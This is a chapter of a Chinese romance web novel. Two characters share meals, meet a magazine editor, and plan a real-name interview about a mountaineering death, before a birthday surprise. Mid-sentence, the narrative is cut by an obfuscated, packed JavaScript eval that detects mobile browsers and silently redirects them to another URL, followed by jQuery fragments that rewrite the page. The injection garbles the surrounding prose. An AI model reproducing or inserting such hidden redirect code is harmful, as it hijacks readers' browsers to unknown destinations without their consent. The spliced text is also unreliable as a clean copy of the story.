“不是!!!”
徐汀云爆发出惊天怒吼,在这二十平方的空间里余音绕梁不绝于耳,久久才消散。
眼看素日里游刃有余的小徐急了,华松栩赶紧哄他,“好好,不是。”
“好好是什么意思?它就不是!”
人在尴尬的时候总是会做一些徒劳的解释,华松栩懂,于是配合地点头,“不是、不是。”
徐汀云活了二十多年,头一回体会到什么是百口莫辩,恨不得掏出心脏让她看看,“你你你听我说……”
“听着呢。”华松栩其实特想笑,这会硬忍着。主要怕她笑出声,小徐会夺门而出甚至离家出走。
“这是我哥、我哥在我18岁生日送我的,恶搞我!”
华松栩能忍住不笑,却忍不住逗小徐,“送你了,那不就是你的?”
徐汀云慷慨激昂,“不是!我没穿过,所以不是!!!”
徐汀云是真的生气了,不是对华松栩,是对他哥。具体表现为吃午饭时,怒气冲冲地戳摆在餐边柜上他哥照片的脸,又怒气冲冲地把相框扣下,开启单方面冷战。
华松栩对他幼稚的行为表示无奈,又怕直接说会点燃炸药桶,只得默默把相框扶起来。
这是一张本科毕业照。男孩的眉眼和徐汀云如出一辙,下半张脸的轮廓更加锐利,气质周正阳刚。在他身后,京市大学四个字在阳光下熠熠生辉,原该青云万里的人生,却永远定格在22岁。
这张照片旁边,是徐汀云父母的双人合影。母亲着一身墨绿色旗袍,黑发用一根素簪挽起,笑容温婉知性。父亲双手搭住妻子的肩,微微躬身呈环抱的姿势,气质谦和儒雅。两人之间的氛围是上一辈常见的含蓄,是恩爱两不疑的具象化。
华松栩眉心微蹙,有些唏嘘,也有些伤感。
身后,徐汀云咸咸地说:“你别看我哥长得人模狗样,其实一肚子坏水!蔫坏!”
“怎么说你哥呢?”华松栩回神,在他对面坐定。
午饭依旧是外卖,烤鸭。
徐汀云吹胡子瞪眼,“你信我还是信他?”
“……”
华松栩无语凝噎,放弃作答。转而夹起两片鸭肉蘸取甜面酱,配上黄瓜条一起卷入荷叶饼中,再一口塞进嘴里。随着外皮咔嚓一声,油脂香气瞬间迸发。
她其实不太爱吃鸭肉,因为怕腻,之前来京市对烤鸭也兴致缺缺。不知道这回怎么了,一连卷了五个荷叶饼下肚之后还想吃。
吃起饭来,徐汀云慢慢从红温状态冷却,伸手指放葱丝的小碟,“加点试试,更好吃。”
华松栩不爱吃葱,看都不看一眼,“不用,这样就挺好。”
徐汀云没说话,按照自己的习惯卷了一个,趁华松栩不注意嗖得一下塞到她嘴边。
“啊——”
“……”华松栩紧紧抿唇,有点想打他。
徐汀云笑容单纯无害,“就一口,啊——”
人家是赶鸭子上架,徐汀云这是赶鸭子入口。华松栩没办法,只得啊了一下。别说,还真挺好吃。
徐汀云见状,得意洋洋道:“我就说吧,这葱味道不冲,夹进去好吃。”
华松栩从他手里接过,三两口吃完,“确实不错。”
徐汀云把放葱丝的小碟推到她跟前,含笑道:“喜欢就多吃点。”
吃到七分饱,华松栩这才想起正题,“明天或者后天哪天方便,和贺灵一起吃个饭。”
徐汀云看了眼日历,“后天就腊月二十九了,得准备年货。不然明天吧。”
“好,我和她联系。”
徐汀云捏着手机沉思片刻,忽然可怜巴巴地问:“如果贺编骂我,你会帮我说话吗?”
华松栩知道他说的是临时撤稿的事情,一口答应,“肯定帮你!”
徐汀云饱受摧残的小心脏得到了极大的抚慰。
第二天,当贺灵贴脸输出,从摄影师的职业道德到因临时撤稿翻倍的工作量,条理清晰地列举徐汀云八大罪状时,后者向华松栩投来期许的目光。
华松栩深吸一口气,“和我没关系。”
徐汀云:……
贺灵端起茶水,喝了好几口润喉。一不小心输出太多,有点渴。
徐汀云很有眼色地起身,为贺编续上。
贺灵颔首道谢。
他转而给华松栩倒,后者随意地瞥了眼,继续撑着下巴。
传说中的贺编留着一刀切的黑直发,一身灰色西装套装,任谁看都是职场女强人的类型。但女人的性格总是因对象不同而流动的,方才对徐汀云冷眉冷眼,面对华松栩瞬间柔和了。
贺灵也撑着下巴,笑眯眯地说:“和上次见相比,你白了好多!”
华松栩被一刀扎进心窝,嘴硬道:“我这一个月黑了吧?”
“黑白都好。”贺灵隔着桌子拉她的手,“一年多没见,想死我了!”
华松栩回握,“我也是。”
今天来吃铜锅涮肉,徐汀云调好料碗摆在两人面前都没换来一个眼神。姐妹两人执手相看泪眼,你一句我一句,从自己的近况聊到圈内稀奇古怪的事情,毫无插嘴间隙的小徐终于找到了自己的定位。
华松栩这一顿饭吃得格外开心,一方面是见到好友,一方面是碗里会长出源源不断的食物,荤素搭配好的那种。
她扯了下徐汀云羊毛衫的袖口,“谢谢徐公公。”
徐汀云睨她,唇边是明晃晃的笑容。
出了店门,贺灵挽着华松栩,冲她的小跟班道:“我和阿栩去趟杂志社,你先回吧。”
徐汀云摇头,“我也去,在门口等她。”
贺灵瞪眼,“聊完我护送她回家,放心了吧?”
“我俩说好,下午要去超市筹备年货。”
小跟班最终还是跟到了杂志社。贺灵开了间会议室勒令他在里面待着,拉着华松栩进了自己的办公室。
宽敞的单间,老板椅超大办公桌,两排会客沙发都是真皮的。左手边是一整面落地窗,窗外一众设计感的写字楼依次排开,视野绝佳。
华松栩不由咂舌,“不愧是总编。”
贺总编一关上门就问:“你和他什么情况?”
华松栩毫
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15323176|163571||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
不客气地瘫在沙发上消食,“没有情况。”
“他眼珠子都黏你身上了,还没有情况?”贺灵掰着手指数,“住他家,年夜饭,寸步不离,给你夹菜都那么自然——”
华松栩笑了笑,没吭气。
贺灵目光锐利,“他的小心思,你很清楚。”
“知道一点吧,算不上清楚。”华松栩玩着大衣衣带,“我同意来京市,一大原因是想搞清楚我自己的想法。你说,我这样做是不是不太合适?”
贺灵知道一些她的过去,于是用松快地语气说:“一个愿打一个愿挨,那小子是你的忠实铁粉,他愿意的很。”
“我正月初五回蓉城,到时候再看。”华松栩沉默瞬息,深吸一口气说,“有件事,我想问问你的意见。”
贺灵正色,笑容也淡了下去,“关于公开山难的情况,是吗?”
华松栩垂眸,“是。”
一年前,她按照规定向登协报了事故报告时,强烈表达了不想公开的意愿。知情的圈内人士她一一联络,强硬地要求所有人不得透露1228遇难当事人的身份。是以至今为止,丰哥的账号还有无数粉丝催更问候。
“当时我不知道该怎么说。如实?还是春秋笔法?”华松栩自嘲一笑,“所以硬是拖到现在。但有些事情,早晚要公之于众。”
贺灵皱眉,“按照《旷野》的习惯,事故这样的选题只能是一手消息。也就是说,你必须——”
“实名专访,我知道。”
贺灵一时不知道该说什么,能说什么。户外这个圈子人越来越多,也越来越复杂。拖了整整一年才公开山难始末,华松栩作为唯一的幸存者,势必要面临更为猛烈的舆论风暴。
华松栩看穿了她的担忧,轻笑,“不公开的决定是我做的,就算挨骂也是我该承受的。而且骂我挺好。”
——只要别审判罗丰。
“一月初你问我的时候,我还没想好,拖到了现在。我知道《旷野》排期紧,如果不方便也没关系。主要还是征求你的意见。”
华松栩做出的决定,一向难以更改。贺灵知道,就算她不答应,华松栩也会想别的办法,所以还不如从她手里出,尽量理性客观地还原。
“留位置了。”贺灵大手一挥,“罗普锋的专栏我做了两版。”
华松栩震惊,并发自内心地佩服,“运筹帷幄呀总编!”
“一般,还行。”贺灵傲娇,“不过没想到你愿意接受专访,我得重新赶个提纲。”
“不着急。”
“嗯,提纲最晚后天给你。年后……初三、初四,你再来杂志社。”
华松栩扶额。她的不着急和工作狂的不着急似乎天差地别。
谈完细节已经是四点左右,贺灵后面还有安排,着急忙慌地走了。华松栩终于顾得上正眼看徐汀云,“去超市?”
“不去。”徐汀云说。
华松栩一顿,“不是要买年货吗?”
徐汀云一身工装裤和夹克羽绒服,脚下踩着双板鞋,清爽又朝气蓬勃。
他勾唇,“不买,带你去过生日。”